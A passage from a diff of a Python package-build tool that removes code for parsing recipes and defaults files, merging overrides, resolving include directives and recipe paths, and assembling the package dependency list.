*arch*/*defaults*.""" - for r in requires: - require, matcher, _pin = _parse_req_matcher(r) - if not _matcher_active(matcher, arch, defaults, default_vars, version): - yield require - - -def _parse_patch_entry(entry): - """Split a ``patches:`` entry into ``(name, matcher_or_None, checksum_suffix)``. - - Entry form: ``name[:matcher][,algo:digest]``. The optional inline checksum - (which itself contains ``:``) is separated first on the first ``,``; a ``:`` - in the remaining head then introduces a conditional matcher, e.g. - ``foo.patch:version OrderedDict: - """ - Merge two ordered dictionaries where dict2's keys updates dict1's keys recursively. - - Args: - dict1: First dictionary (base) - dict2: Second dictionary (updates) - skip_keys: Set of keys to skip during merge (won't be updated from dict2) - - Returns: - OrderedDict with merged values - """ - if dict2 is None: - return dict1.copy() - if skip_keys is None: - skip_keys = set() - - # Add all keys from dict1 first - merged = dict1.copy() - - # Overwrite with dict2's values and add new keys - for key, value in dict2.items(): - # Skip keys that are in the skip list - if key in skip_keys: - continue - - if key not in merged: - # Add new key from dict2 - merged[key] = value - elif isinstance(merged[key], dict) and isinstance(value, dict): - # Recursively merge nested ordered dictionaries - merged[key] = merge_dicts(merged[key], value, skip_keys) - elif isinstance(merged[key], list) and isinstance(value, list): - # Merge lists, such as for "disabled" - merged[key].extend(value) - else: - # Overwrite existing key - merged[key] = value - - return merged - -def resolve_pkg_family(defaults_meta: dict, package_name: str) -> str: - """Return the package family for *package_name* from the defaults metadata. - - The ``package_family`` key in a defaults recipe is a mapping of the form:: - - package_family: - default: cms # fallback when no pattern matches - lcg: - - ROOT - - SCRAMV1 - cms: - - data-* - - coral - - Pattern matching uses :func:`fnmatch.fnmatch` (case-sensitive, ``*`` and - ``?`` wildcards supported). Families are tried in definition order; the - first match wins. If no pattern matches, the ``default`` family is - returned. If ``package_family`` is absent entirely, an empty string is - returned so that the install path collapses to the legacy layout - ``//-``. - - **Defaults packages** (``defaults-*``) are always excluded from family - assignment regardless of the ``package_family`` configuration, including the - ``default:`` fallback. These pseudo-packages carry configuration rather than - installed software; assigning them to a family would corrupt their install - path and break the ``init.sh`` sourcing chain for every downstream package. - """ - # Defaults packages are special pseudo-packages and must never receive a - # family. The default: fallback in package_family would otherwise silently - # pull them in, causing their SPECS/ and install paths to include a family - # directory that nothing expects. - if package_name.startswith("defaults-"): - return "" - family_cfg = defaults_meta.get("package_family") - if not family_cfg or not isinstance(family_cfg, dict): - return "" - default_family = family_cfg.get("default", "") - for family, patterns in family_cfg.items(): - if family == "default": - continue - if not isinstance(patterns, list): - continue - for pat in patterns: - if fnmatch.fnmatch(package_name, str(pat)): - return family - return default_family - - -def readDefaults(configDir, defaults, error, architecture): - defaultsMeta = {} - defaultsBody = "" - append_arch_qualifiers = [] # per-default append_arch values, in chain order - valid_defaults_exempt = [] # structural/overlay defaults, in chain order - - for xdefaults in defaults: - xDefaults = resolveDefaultsFilename(xdefaults, configDir, failOnError=False) - xMeta = {} - if xDefaults is not None and exists(xDefaults): - err, xMeta, xBody = parseRecipe(getRecipeReader(xDefaults)) - if xBody.strip() != "": - defaultsBody += "\n" + xBody.strip() - if err: - error(err) - sys.exit(1) - # Collect append_arch value before merging (merge_dicts would flatten it - # into a single scalar and we need the ordered per-default list). - if "append_arch" in xMeta: - append_arch_qualifiers.append(xMeta["append_arch"]) - # A structural/overlay default (e.g. the 'alidist' variant) is not a - # build flavor: packages must not gate their valid_defaults on it. Read - # and strip the marker before the merge so it does not leak into the - # merged metadata (see incompatibleFlavorDefaults). - if xMeta.pop("valid_defaults_exempt", False): - valid_defaults_exempt.append(xdefaults) - # Normalise this profile's overrides to dict-form *before* the chain merge - # so that defaults chained as a::b::c deep-merge: the union of all entries, - # last profile wins on a per-package key. Without this, merge_dicts sees a - # list-form block ("- pkg = ver") and a dict-form block ("pkg:\n ...") as - # incompatible types and the later one REPLACES the earlier wholesale, - # silently dropping the other profile's pins. asDict turns both shapes into - # an OrderedDict, which merge_dicts then merges recursively (key-by-key, - # last wins). - if "overrides" in xMeta: - xMeta["overrides"] = asDict(xMeta["overrides"]) - defaultsMeta = merge_dicts(defaultsMeta, xMeta) - - # Store the collected per-default qualifiers so compute_combined_arch can - # use them instead of appending every default name to the architecture. - if append_arch_qualifiers: - defaultsMeta["_append_arch_qualifiers"] = append_arch_qualifiers - - # The 'release' base is auto-injected into every chain and is never a build - # flavor, so it is always structural (exempt from the valid_defaults gate). - if "release" in defaults and "release" not in valid_defaults_exempt: - valid_defaults_exempt.append("release") - defaultsMeta["_valid_defaults_exempt"] = valid_defaults_exempt - - debug("Merged Defaults: %s ",json.dumps(defaultsMeta,indent = 4)) - - return (defaultsMeta, defaultsBody) - -def getRecipeReader(url: str, dist=None, genPackages={}): - m = re.search(r'^(dist|generate):(.*)@([^@]+)$', url) - if m and m.group(1) == "generate": - pkg, version = m.group(2), m.group(3) - # search across all generated dirs - if pkg in genPackages and genPackages[pkg]["version"] == version: - return GeneratedPackage(genPackages[pkg]) - raise ValueError(f"Generated package {pkg}@{version} not found") - elif m and dist: - return GitReader(url, dist) - else: - return FileReader(url) - -# Generate a recipe of package -class GeneratedPackage: - def __init__(self, obj) -> None: - self.command = obj["command"] - self.url = obj["url"] - def __call__(self): - return getoutput(self.command).strip() - -# Read a recipe from a file -class FileReader: - def __init__(self, url) -> None: - self.url = url - def __call__(self): - with open(self.url) as f: - return f.read() - -# Read a recipe from a git repository using git show. -class GitReader: - def __init__(self, url, configDir) -> None: - self.url, self.configDir = url, configDir - def __call__(self): - m = re.search(r'^dist:(.*)@([^@]+)$', self.url) - fn, gh = m.groups() - err, d = git(("show", f"{gh}:{fn.lower()}.sh"), - directory=self.configDir) - if err: - raise RuntimeError("Cannot read recipe {fn} from reference {gh}.\n" - "Make sure you run first (this will not alter your recipes):\n" - " cd {dist} && git remote update -p && git fetch --tags" - .format(dist=self.configDir, gh=gh, fn=fn)) - return d - -def yamlLoad(s): - class YamlSafeOrderedLoader(yaml.SafeLoader): - """YAML Loader with `!include` constructor.""" - - def __init__(self, stream: IO) -> None: - """Initialise Loader.""" - try: - self._root = os.path.split(stream.name)[0] - except AttributeError: - self._root = os.path.curdir - super().__init__(stream) - - def construct_include(loader: YamlSafeOrderedLoader, node: yaml.Node) -> Any: - """Include file referenced at node.""" - filename = os.path.abspath(os.path.join(loader._root, loader.construct_scalar(node))) - extension = os.path.splitext(filename)[1].lstrip('.') - try: - with open(filename) as f: - if extension in ('yaml', 'yml'): - try: - return yaml.load(f, YamlSafeOrderedLoader) - except (yaml.scanner.ScannerError, yaml.parser.ParserError) as e: - raise yaml.constructor.ConstructorError( - None, None, - "!include: failed to parse YAML file %r: %s" % (filename, e), - node.start_mark) - elif extension in ('json', ): - try: - return json.load(f) - except ValueError as e: - raise yaml.constructor.ConstructorError( - None, None, - "!include: failed to parse JSON file %r: %s" % (filename, e), - node.start_mark) - else: - return ''.join(f.readlines()) - except OSError as e: - raise yaml.constructor.ConstructorError( - None, None, - "!include: cannot open file %r: %s" % (filename, e), - node.start_mark) - - def construct_mapping(loader, node): - loader.flatten_mapping(node) - return OrderedDict(loader.construct_pairs(node)) - - YamlSafeOrderedLoader.add_constructor('!include', construct_include) - YamlSafeOrderedLoader.add_constructor(yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, - construct_mapping) - return yaml.load(s, YamlSafeOrderedLoader) - -def yamlDump(s): - class YamlOrderedDumper(yaml.SafeDumper): - pass - def represent_ordereddict(dumper, data): - rep = [] - for k,v in data.items(): - k = dumper.represent_data(k) - v = dumper.represent_data(v) - rep.append((k, v)) - return yaml.nodes.MappingNode('tag:yaml.org,2002:map', rep) - YamlOrderedDumper.add_representer(OrderedDict, represent_ordereddict) - return yaml.dump(s, Dumper=YamlOrderedDumper) - -# Whole-line recipe-body include directive: -# #!include (resolved under the recipes repo root) -# #!include "local/path.sh" (resolved relative to the recipe's dir) -# -# The marker is `#!include`, NOT plain `#include`: recipe bodies routinely embed -# literal C `#include ` lines inside heredocs that generate test -# programs (e.g. lcg.bits/gcc-toolchain.sh), so a plain `#include` directive would -# collide with them and try to splice a system header. `#!include` cannot appear -# in C or ordinary shell; it stays `#`-prefixed (so it is an inert comment if the -# preprocessor never runs) and echoes the existing header `!include` YAML tag. -# Only a full line of exactly this shape matches, so C includes, shell `#` -# comments, shebangs, and `# include …` prose are all left untouched. -INCLUDE_RE = re.compile( - r'^[ \t]*#!include[ \t]+(?:<([^>\n]+)>|"([^"\n]+)")[ \t]*$', - re.MULTILINE, -) -MAX_INCLUDE_DEPTH = 32 - - -def resolveIncludes(body, recipe_url, repo_dir=None, _visited=None, _depth=0): - """Splice ``#!include`` directives in a recipe *body* with the referenced file. - - This is a deliberately narrow, bits-owned preprocessor — NOT a full C - preprocessor (running shell through ``cpp`` mangles ``#`` comments, ``//`` in - URLs / ``${x//a/b}``, and predefined macros like ``linux``). It touches only - whole-line ``#!include <...>`` / ``#!include "..."`` directives and leaves every - other byte verbatim — crucially including the literal ``#include
`` - lines that recipe heredocs use to generate C test programs. - - Resolution mirrors the existing ``from:`` mechanism and C's two include forms: - ```` resolves under the recipes repo root (``$BITS_REPO_DIR``), ``"path"`` - relative to the including recipe's own directory. Inclusion is recursive with - cycle detection and a depth cap; a path that escapes its base (``..`` or an - absolute path) is rejected. - - The spliced text is returned verbatim, BEFORE variable substitution and hashing - run downstream — so an included file's content is expanded in the consumer's - context (``%(compiler)s`` etc.) and folds into the consumer package's hash, - exactly as if it had been written inline. - """ - if body is None or "#!include" not in body: - return body # fast path: nothing to do - if _depth > MAX_INCLUDE_DEPTH: - raise RuntimeError("#!include: nesting too deep (>%d) at %s" % (MAX_INCLUDE_DEPTH, recipe_url or "?")) - if _visited is None: - _visited = [] - if repo_dir is None: - repo_dir = os.environ.get("BITS_REPO_DIR") or os.path.dirname(recipe_url or "") or "." - recipe_dir = os.path.dirname(recipe_url or "") or "." - - def _splice(m): - angle, quoted = m.group(1), m.group(2) - rel = (angle if angle is not None else quoted).strip() - base = repo_dir if angle is not None else recipe_dir - base_abs = os.path.abspath(base) - path_abs = os.path.abspath(os.path.join(base_abs, rel)) - # Path safety: reject absolute references and any `..` escape outside base. - if os.path.isabs(rel) or not (path_abs == base_abs or path_abs.startswith(base_abs + os.sep)): - raise RuntimeError("#!include: unsafe path %r in %s" % (rel, recipe_url or "?")) - if path_abs in _visited: - raise RuntimeError("#!include: cyclic include: %s" % " -> ".join(_visited + [path_abs])) - try: - with open(path_abs) as f: - content = f.read() - except OSError as e: - raise RuntimeError("#!include: cannot open %r referenced in %s: %s" % (rel, recipe_url or "?", e)) - # Recurse so an included file may itself include (cycle-guarded by _visited). - return resolveIncludes(content, path_abs, repo_dir, _visited + [path_abs], _depth + 1) - - return INCLUDE_RE.sub(_splice, body) - - -def parseRecipe(reader, generatePackages=None, visited=None): - assert(reader.__call__) - err, spec, recipe = (None, None, None) - try: - d = reader() - header,recipe = d.split("---", 1) - # Splice any `#!include` directives in the body before anything else sees it, - # so the included text is variable-expanded and hashed as if written inline. - recipe = resolveIncludes(recipe, getattr(reader, "url", "") or "") - # YAML forbids '%' as the first character of a plain (unquoted) scalar because - # it is reserved for directives (e.g. %YAML, %TAG). Recipe authors may want - # to write "- %(name)s-%(version)s.patch" in patches: (and similar lists) - # for the same variable substitution that sources: already supports. Auto- - # quoting those list items here lets them write the bare %(…)s form without - # needing to remember YAML quoting rules. - header = re.sub( - r'^(\s*-\s+)(%[^\n\'"#\[\{].*)$', - lambda m: m.group(1) + '"' + m.group(2).replace('\\', '\\\\').replace('"', '\\"') + '"', - header, - flags=re.MULTILINE, - ) - # Free-text metadata (description, acknowledgment, license, url, homepage, - # source_url) is prose that routinely contains ": ", parentheses or other - # characters YAML forbids in an unquoted (plain) scalar — e.g. - # description: Foo: the bar - # trips "mapping values are not allowed here". Auto-quote the single-line value - # of these keys so authors need not remember YAML quoting, mirroring the - # %(…)s list-item quoting above. Values that are already quoted, a block scalar - # (|/>), an anchor/alias/tag, or an inline comment are left alone, and the - # transform is idempotent. For these prose keys a mid-value '#' is kept as text. - header = re.sub( - r'^(\s*(?:description|acknowledge?ment|license|url|homepage|source_url)\s*:[ \t]+)' - r'(?![|>&*!#"\'])(.*\S)[ \t]*$', - lambda m: m.group(1) + '"' + m.group(2).replace('\\', '\\\\').replace('"', '\\"') + '"', - header, - flags=re.MULTILINE, - ) - spec = yamlLoad(header) - if spec and "from" in spec: - basename = os.path.basename(getattr(reader, "url", "") or "") - filename = basename[:-3] if basename.endswith(".sh") else basename - repoDir = os.environ.get("BITS_REPO_DIR") - if visited is None: - visited = [] - if spec["from"] in visited: - raise RuntimeError(f" Cyclic Dependency: {' -> '.join(list(visited) + [spec['from']])}") - visited.append(spec["from"]) - parent_dir = os.path.join(repoDir, spec["from"]) - base_filename, pkgdir = resolveFilename({}, filename, parent_dir, generatePackages) - base_reader = getRecipeReader(base_filename, repoDir, generatePackages[parent_dir]) - err, base_spec, base_recipe = parseRecipe(base_reader, generatePackages, visited) - spec, recipe_append = handleMergePolicy(spec, base_spec) - recipe = recipe + base_recipe if recipe_append else recipe - validateSpec(spec) - except RuntimeError as e: - err = str(e) - except OSError as e: - err = str(e) - except SpecError as e: - err = "Malformed header for {}\n{}".format(reader.url, str(e)) - except yaml.YAMLError as e: - err = "Unable to parse {}\n{}".format(reader.url, str(e)) - except ValueError: - err = "Unable to parse %s. Header missing." % reader.url - except Exception as e: - err = "Unknown Exception in parseRecipe {}.\n{}".format(reader.url, e) - return err, spec, recipe - - -def asDict(overrides_array): - """ - Collapse an array of override dictionaries into a single OrderedDict. - - Args: - overrides_array: A list containing dictionaries and/or lists of dictionaries - to be merged, with later elements taking precedence. - Returns: - OrderedDict: A single merged OrderedDict - """ - debug("asDict: %s ",json.dumps(overrides_array,indent = 4)) - - if not overrides_array: - return OrderedDict() - - if isinstance(overrides_array, OrderedDict): - return overrides_array - - # Start with an empty OrderedDict - result = OrderedDict() - - def _string_override(s): - """Support the "name = value" version-pin shorthand in overrides:, the - same syntax used for requires: pins. Returns {name: {version, tag}} so - that tarball URLs (%(version)s) and git checkouts (tag) both use the - pinned value, or None when the string is not a "name = value" pin.""" - name, sep, value = s.partition("=") - name, value = name.strip(), value.strip() - if not (sep and name and value): - return None - return OrderedDict([(name, OrderedDict([("version", value), ("tag", value)]))]) - - for item in overrides_array: - if isinstance(item, str): - # e.g. "acts = 44.4.0" — previously silently ignored, which made a - # list-of-strings overrides: block a no-op. - d = _string_override(item) - if d is not None: - result = merge_dicts(result, d) - elif isinstance(item, list): - # Handle nested lists - recursively process each element - for subitem in item: - if isinstance(subitem, dict): - result = merge_dicts(result, subitem) - elif isinstance(subitem, str): - d = _string_override(subitem) - if d is not None: - result = merge_dicts(result, d) - elif isinstance(item, dict): - result = merge_dicts(result, item) - - debug("asDict (result): %s ",json.dumps(result)) - return result - -# (Almost pure part of the defaults parsing) -# Override defaultsGetter for unit tests. -def parseDefaults(disable, defaultsGetter, log, architecture=None, configDir=None): - defaultsMeta, defaultsBody = defaultsGetter() - if architecture and configDir: - archDefaults = resolveDefaultsFilename(architecture, configDir, failOnError=False) - if archDefaults is not None and os.path.exists(archDefaults): - defaultsArchMeta = {} - err, defaultsArchMeta, archBody = parseRecipe(getRecipeReader(archDefaults, configDir)) - if err: - dieOnError(err, err) # was dieOnError(err, None, None): 3 args + a None message - banner("Using defaults-%s file found in %s", architecture, configDir) - debug("Architecture-specific defaults mentioned in: %s ", archDefaults) - defaultsMeta = merge_dicts(defaultsMeta, defaultsArchMeta, skip_keys={"package"}) - - # Defaults are actually special packages. They can override metadata - # of any other package and they can disable other packages. For - # example they could decide to switch from ROOT 5 to ROOT 6 and they - # could disable alien for O2. For this reason we need to parse their - # metadata early and extract the override and disable data. - - defaultsDisable = asList(defaultsMeta.get("disable", [])) - - for x in defaultsDisable: - log("Package %s has been disabled by current default.", x) - disable.extend(defaultsDisable) - - defaultsMeta["overrides"] = asDict(defaultsMeta.get("overrides", OrderedDict())) - - if type(defaultsMeta.get("overrides", OrderedDict())) != OrderedDict: - return ("overrides should be a dictionary", None, None, {}) - - overrides, taps = OrderedDict(), {} - commonEnv = {"env": defaultsMeta["env"]} if "env" in defaultsMeta else {} - overrides["defaults-release"] = commonEnv - for k, v in defaultsMeta.get("overrides", {}).items(): - f = k.split("@", 1)[0].lower() - if "@" in k: - taps[f] = "dist:"+k - overrides[f] = dict(**(v or {})) - return (None, overrides, taps, defaultsMeta) - -def checkForFilename(taps, pkg, d, ext=".sh"): - filename = taps.get(pkg, "{}/{}{}".format(d, pkg, ext)) - if not exists(filename): - if "/" in pkg: - filename = taps.get(pkg, "{}/{}".format(d, pkg)) - else: - filename = taps.get(pkg, "{}/{}/latest".format(d, pkg)) - return filename - -def resolveLocalPath(configDir, s): - """ - Resolves a local path if it is a file://filename. - If the path is not a file://filename, it returns the string `s` as is. - Args: - configDir: The configuration directory. - s: The path to resolve. - Returns: - The resolved path. - """ - if s.startswith("file://"): - return f"file:/" + os.path.abspath(resolveFilename({}, s.removeprefix("file://"), configDir, {}, ext="")[0]) - else: - return s - -def getConfigPaths(configDir): - """Return the ordered list of directories to search for recipe files. - - Each entry in the ``BITS_PATH`` environment variable is interpreted as: - - * An **absolute path** – used directly (no ``.bits`` suffix appended). - This is used by repository-provider checkouts, which are stored at - absolute paths under ``$BITS_WORK_DIR/REPOS/``. - * A **relative name** – resolved as ``/.bits`` (the - original behaviour for named recipe repositories). - """ - configPath = os.environ.get("BITS_PATH") - pkgDirs = [configDir] - if configPath: - for r in [x for x in configPath.split(",") if x]: - if os.path.isabs(r): - d = r # provider checkout – absolute path used directly - else: - d = join(configDir, "%s.bits" % r) - if exists(d): - pkgDirs.append(d) - return pkgDirs - -def resolveFilename(taps, pkg, configDir, generatedPackages, ext=".sh", required_by=None): - for d in getConfigPaths(configDir): - if d in generatedPackages and pkg in generatedPackages[d]: - meta = generatedPackages[d][pkg] - return ("generate:{}@{}".format(pkg, meta["version"]), meta["pkgdir"]) - filename = checkForFilename(taps, pkg, d, ext=ext) - if exists(filename): - return (filename, d) - # Name the recipe(s) that pulled this dependency in (with their origin), so the - # operator sees WHO required a missing package, not just that it is missing. - reqline = "" - if required_by: - reqline = "\nRequired by: " + ", ".join(sorted(required_by)) - dieOnError(True, - "Package {pkg} not found on any loaded recipe path (searched " - "BITS_PATH, primary config dir: {cfg}).{req}\n" - "If {pkg} is provided by a repository that was not loaded, add " - "`always_load: true` to that provider's recipe (alongside " - "`provides_repository: true`) so it is cloned before resolution — or " - "list it in BITS_PROVIDERS. A repository-provider is otherwise " - "auto-loaded only when it appears as a dependency in the build graph, " - "which a base recipe repository usually does not.".format( - pkg=pkg, cfg=configDir, req=reqline)) - -def resolveDefaultsFilename(defaults, configDir, failOnError=True): - """Return the path of ``defaults-.sh`` searched across all config paths. - - Uses :func:`getConfigPaths` to build the search list so that BITS_PATH - provider checkouts are honoured consistently with :func:`resolveFilename`. - """ - filename = None - for d in getConfigPaths(configDir): - candidate = "{}/defaults-{}.sh".format(d, defaults) - if exists(candidate): - return candidate - filename = candidate # keep last candidate for the error message - - if failOnError: - error("Default `%s' does not exist.\n" % (defaults or "")) - # Cache of "@" identity labels keyed by recipe directory so # the per-recipe origin trace does not shell out to git once per package. _recipeSourceLabelCache = {} @@ -1588,464 +356,7 @@ def recipeSourceLabel(pkgdir, provider_dirs=None): _recipeSourceLabelCache[pkgdir] = label return label -def getPackageList(packages, specs, configDir, preferSystem, noSystem, - architecture, disable, defaults, performPreferCheck, performRequirementCheck, - performValidateDefaults, overrides, taps, log, force_rebuild=(), - provider_dirs=None, defaults_meta=None): - """Resolve the full set of packages required by *packages*. - - *provider_dirs* is an optional ``dict`` returned by - ``repo_provider.fetch_repo_providers_iteratively``, mapping each provider - checkout directory to a ``(package_name, commit_hash)`` tuple. When a - recipe is found inside one of these directories the corresponding spec - gains two extra keys: - - ``spec["recipe_provider"]`` - The name of the provider package whose checkout contains this recipe. - - ``spec["recipe_provider_hash"]`` - The git commit hash of that provider checkout. ``storeHashes`` folds - this value into the package's content-addressable build hash so that - upgrading a provider triggers a rebuild of all packages sourced from it. - """ - systemPackages = set() - ownPackages = set() - failedRequirements = set() - testCache = {} - requirementsCache = {} - trackingEnvCache = {} - packages = packages[:] - generatedPackages = getGeneratedPackages(configDir) - validDefaults = [] # empty list: all OK; None: no valid default; non-empty list: list of valid ones - if provider_dirs is None: - provider_dirs = {} - recipe_sources = {} # package name -> "@" origin label - required_by = {} # dep name (bare, lowercased) -> set of "requirer (source)" - _disable_set = set(disable) - # version_pins accumulates ``name -> version`` entries declared via the - # ``name = version`` syntax in any spec's requires / build_requires lists. - # Pins are applied to the dependency spec just before it is stored in - # *specs*, overriding the version stated in the recipe and any defaults-file - # override. Conflicts (two different pins for the same name, or a pin that - # arrives after the dependency was already resolved) are fatal errors. - _version_pins = {} - while packages: - p = packages.pop(0) - if p in specs: - continue - # A package already known to be disabled (prefer_system or system_requirement - # passed on a prior iteration) should not be re-processed. Without this - # guard the package is re-evaluated once per occurrence in the queue — - # i.e. once per dependent — and disable.append() fires each time, producing - # hundreds of duplicate --disable=GCC-Toolchain entries in the argument log. - if p in _disable_set: - continue - skip = False - for d in defaults: - if p == "defaults-release" and ("defaults-" + d) in specs: - skip = True - break - else: - pkg_filename = ("defaults-" + d) if p == "defaults-release" else p.lower() - if skip: - continue - - # We rewrite all defaults to "defaults-release", so load the correct - # defaults package here. - # The reason for this rewriting is (I assume) so that packages that are - # not overridden by some defaults can be shared with other defaults, since - # they will end up with the same hash. The defaults must be called - # "defaults-release" for this to work, since the defaults are a dependency - # and all dependencies' names go into a package's hash. - filename,pkgdir = resolveFilename(taps, pkg_filename, configDir, generatedPackages) - - dieOnError(not filename, "Package {} not found in {}".format(p, configDir)) - assert(filename is not None) - - err, spec, recipe = parseRecipe(getRecipeReader(filename, configDir, generatedPackages[pkgdir]), generatedPackages) - dieOnError(err, err) - # Unless there was an error, both spec and recipe should be valid. - # otherwise the error should have been caught above. - assert(spec is not None) - assert(recipe is not None) - dieOnError(spec["package"].lower() != pkg_filename, - "{}.sh has different package field: {}".format(p, spec["package"])) - spec["pkgdir"] = pkgdir - - # Per-recipe origin trace: record which repository@commit actually supplied - # this recipe — for every package, not only provider-sourced ones. This is - # the first thing to consult when a recipe resolves to an unexpected (e.g. - # stale) version: if the commit here predates an upstream change, the source - # checkout was out of date. - spec["recipe_source"] = recipeSourceLabel(pkgdir, provider_dirs) - recipe_sources[spec["package"]] = spec["recipe_source"] - debug("Recipe '%s' resolved from %s (dir: %s)", - spec["package"], spec["recipe_source"], pkgdir) - - # Load the optional external checksum store (checksums/.checksum) - # and merge source/patch checksums + commit pin into the spec. - merge_into_spec(spec, load_for_spec(spec)) - - # Track which repository provider supplied this recipe so that - # storeHashes can fold the provider's commit hash into the build hash. - if pkgdir in provider_dirs: - prov_name, prov_hash = provider_dirs[pkgdir] - spec["recipe_provider"] = prov_name - spec["recipe_provider_hash"] = prov_hash - - if p == "defaults-release": - # Re-rewrite the defaults' name to "defaults-release". Everything auto- - # depends on "defaults-release", so we need something with that name. - spec["package"] = "defaults-release" - - # Never run the defaults' recipe, to match previous behaviour. - # Warn if a non-trivial recipe is found (i.e., one with any non-comment lines). - for line in map(str.strip, recipe.splitlines()): - if line and not line.startswith("#"): - warning("%s.sh contains a recipe, which will be ignored", pkg_filename) - recipe = "" - - # Strip top-level ``requires`` / ``build_requires`` from the defaults - # spec before the dependency-following step below. These fields are - # consumed earlier, in the Phase 2 provider scan (before getPackageList - # is called), to seed ``fetch_repo_providers_iteratively``. If they - # were left here, every package listed in defaults ``requires`` would - # auto-receive a ``defaults-release`` build dependency (line 1037), which - # creates an unresolvable cycle: - # - # defaults-release → provider-pkg → defaults-release - # - # Clearing them here is safe: the provider repos they reference are - # already loaded and their recipes are on BITS_PATH. - spec.pop("requires", None) - spec.pop("build_requires", None) - - dieOnError(spec["package"] != p, - "{} should be spelt {}.".format(p, spec["package"])) - - # If an override fully matches a package, we apply it. This means - # you can have multiple overrides being applied for a given package. - # An override key may carry an optional ":matcher" suffix (same syntax as - # requires/patches: arch regex, defaults=, version, (?VAR), &&/||) to - # gate it, e.g. "ROOT:osx" applies only on macOS architectures. Package - # names never contain ":", so splitting on the first ":" is unambiguous. - _ovr_vars = (defaults_meta or {}).get("variables") - for override in overrides: - # We downcase the regex in parseDefaults(), so downcase the package name - # as well. FIXME: This is probably a bad idea; we should use - # re.IGNORECASE instead or just match case-sensitively. - pkg_re, sep, matcher = override.partition(":") - if not re.fullmatch(pkg_re, p.lower()): - continue - if sep and not _matcher_active(matcher, architecture, defaults, _ovr_vars, - spec.get("version")): - continue - log("Overrides for package %s: %s", spec["package"], overrides[override]) - spec.update(overrides.get(override, {}) or {}) - - # Apply global force_revision from the top-level defaults field as a - # fallback. Per-package overrides (set via spec.update() above) take - # precedence because they ran first. A value of "" means "drop the - # revision suffix entirely"; None means "not set, do not apply". - if "force_revision" not in spec \ - and defaults_meta is not None \ - and "force_revision" in defaults_meta: - raw = defaults_meta.get("force_revision") - if raw is not None: - spec["force_revision"] = "" if raw == "" else str(raw) - - # If --always-prefer-system is passed or if prefer_system is set to true - # inside the recipe, use the script specified in the prefer_system_check - # stanza to see if we can use the system version of the package. - systemRE = spec.get("prefer_system", "(?!.*)") - try: - systemREMatches = re.match(systemRE, architecture) - except TypeError: - dieOnError(True, "Malformed entry prefer_system: {} in {}".format(systemRE, spec["package"])) - - noSystemList = [] - if noSystem == "*": - noSystemList = [spec["package"]] - elif noSystem is not None: - noSystemList = noSystem.split(",") - systemExcluded = (spec["package"] in noSystemList) - allowSystemPackageUpload = spec.get("allow_system_package_upload", False) - # Fill the track env with the actual result from executing the script. - for env, trackingCode in spec.get("track_env", {}).items(): - key = spec["package"] + env - if key not in trackingEnvCache: - status, out = performPreferCheck(spec, trackingCode) - dieOnError(status, f"Error while executing track_env for {key}: {trackingCode} => {out}") - trackingEnvCache[key] = out - spec["track_env"][env] = trackingEnvCache[key] - - if (not systemExcluded or allowSystemPackageUpload) and (preferSystem or systemREMatches): - requested_version = resolve_version(spec, defaults, "unavailable", "unavailable") - cmd = "REQUESTED_VERSION={version}\n{check}".format( - version=quote(requested_version), - check=spec.get("prefer_system_check", "false"), - ).strip() - if spec["package"] not in testCache: - testCache[spec["package"]] = performPreferCheck(spec, cmd) - err, output = testCache[spec["package"]] - if err: - # prefer_system_check errored; this means we must build the package ourselves. - ownPackages.add(spec["package"]) - else: - # prefer_system_check succeeded; this means we should use the system package. - match = re.search(r"^bits_system_replace:(?P.*)$", output, re.MULTILINE) - if not match and systemExcluded: - # No replacement spec name given. Fall back to old system package - # behaviour and just disable the package. - ownPackages.add(spec["package"]) - elif not match and not systemExcluded: - # No replacement spec name given. Fall back to old system package - # behaviour and just disable the package. - systemPackages.add(spec["package"]) - if spec["package"] not in _disable_set: - disable.append(spec["package"]) - _disable_set.add(spec["package"]) - elif match: - # The check printed the name of a replacement; use it. - key = match.group("key").strip() - replacement = None - for replacement_matcher in spec["prefer_system_replacement_specs"]: - if re.match(replacement_matcher, key): - replacement = spec["prefer_system_replacement_specs"][replacement_matcher] - break - if replacement: - # We must keep the package name the same, since it is used to - # specify dependencies. - replacement["package"] = spec["package"] - # The version is required for all specs. What we put there will - # influence the package's hash, so allow the user to override it. - replacement.setdefault("version", requested_version) - # Carry over structural keys set on the original spec earlier in - # getPackageList that build.py needs and that are NOT recomputed for - # the replacement. pkgdir (the recipe directory, used for PKGDIR) is - # mandatory — without it doBuild raises KeyError: 'pkgdir' when it - # builds the replacement (e.g. a HomebrewRecipe shim). - for _carry in ("pkgdir", "recipe_provider", "recipe_provider_hash", - "recipe_source", "force_revision"): - if _carry in spec and _carry not in replacement: - replacement[_carry] = spec[_carry] - spec = replacement - # Allows generalising the version based on the actual key provided - spec["version"] = spec["version"].replace("%(key)s", key) - # We need the key to inject the version into the replacement recipe later. - spec["key"] = key - recipe = replacement.get("recipe", "") - # If there's an explicitly-specified recipe, we're still building - # the package. If not, Bits will still "build" it, but it's - # basically instantaneous, so report to the user that we're taking - # it from the system. - if recipe: - ownPackages.add(spec["package"]) - else: - systemPackages.add(spec["package"]) - else: - warning(f"Could not find named replacement spec for {spec['package']}: {key}, " - "falling back to building the package ourselves.") - - dieOnError(("system_requirement" in spec) and recipe.strip("\n\t "), - "System requirements %s cannot have a recipe" % spec["package"]) - if re.match(spec.get("system_requirement", "(?!.*)"), architecture): - cmd = spec.get("system_requirement_check", "false") - if spec["package"] not in requirementsCache: - requirementsCache[spec["package"]] = performRequirementCheck(spec, cmd.strip()) - - err, output = requirementsCache[spec["package"]] - if err: - failedRequirements.update([spec["package"]]) - spec["version"] = "failed" - else: - if spec["package"] not in _disable_set: - disable.append(spec["package"]) - _disable_set.add(spec["package"]) - - spec["disabled"] = list(disable) - if spec["package"] in disable: - continue - - # Check whether the package is compatible with the specified defaults - if validDefaults is not None: - (ok,msg,valid) = performValidateDefaults(spec) - if valid: - validDefaults = [ v for v in validDefaults if v in valid ] if validDefaults else valid[:] - if not validDefaults: - validDefaults = None # no valid default works for all current packages - - # Collect version pins declared by this spec's requires / build_requires - # *before* the lists are reduced to plain package names by the filter step - # below. We pass the raw YAML lists so that _collect_version_pins can see - # the full "name = version[:matcher]" strings. - # Variables declared in the active --defaults profile(s) (`variables:` block) - # gate "(?VAR)" conditional requires, e.g. "- cuda:(?cuda)". - _default_vars = (defaults_meta or {}).get("variables") - # The depending package's own version, so a requirement can be gated on it - # via "name:version>=X" (matched in sort -V order). Use the recipe/defaults - # value resolved so far (dependent-declared pins are applied later and do - # not affect a package's own requires gating). - _own_version = spec.get("version") - _collect_version_pins( - architecture, defaults, - list(spec.get("requires", [])) + 